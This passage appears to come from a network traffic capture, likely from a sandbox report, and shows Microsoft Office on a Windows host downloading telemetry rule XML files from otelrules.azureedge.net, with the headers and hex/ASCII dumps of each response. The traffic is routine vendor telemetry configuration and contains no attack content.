2024-10-30 06:28:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: df439d9f-401e-0067-5610-2709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062819Z-16849878b78wc6ln1zsrz6q9w800000007cg000000003g57 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:19 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:19 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:19 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 44c43cee-601e-003e-459c-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062819Z-15b8d89586fmhjx6a8nf3qm53c00000001fg000000008fdf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:19 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:19 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:19 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062819Z-16849878b78z2wx67pvzz63kdg0000000690000000007sn4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:20 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:20 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062820Z-16849878b78qfbkc5yywmsbg0c00000007cg000000003khp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:20 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:20 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: fd0e08e6-201e-0085-5f27-2634e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062820Z-r197bdfb6b46krmwag4tzr9x7c00000007g0000000006rq4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:20 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:20 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:20 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: f17b3a4e-c01e-002b-72e7-276e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062820Z-r197bdfb6b4qbfppwgs4nqza80000000066g00000000b23e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:20 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:20 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:20 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062820Z-16849878b786fl7gm2qg4r5y7000000007vg00000000fd6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:20 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:20 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:20 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: c32be80d-501e-0016-5c05-27181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062820Z-17c5cb586f626sn8grcgm1gf80000000061g00000000db6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:20 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:21 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:21 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062821Z-16849878b785dznd7xpawq9gcn000000094g000000000kna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:21 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:21 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:21 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c21b0bdf-c01e-008e-186f-287381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062821Z-15b8d89586fmc8ck21zz2rtg1w00000004tg00000000cbyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:21 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:21 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:21 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: cd066ebd-401e-0035-394c-2682d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062821Z-r197bdfb6b48pcqqxhenwd2uz800000008f000000000c6rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:21 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:21 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 06:28:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:28:21 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fb8efb24-701e-0050-0ba3-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T062821Z-16849878b787bfsh7zgp804my400000006cg00000000dfnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 06:28:21 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 06:28:21 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
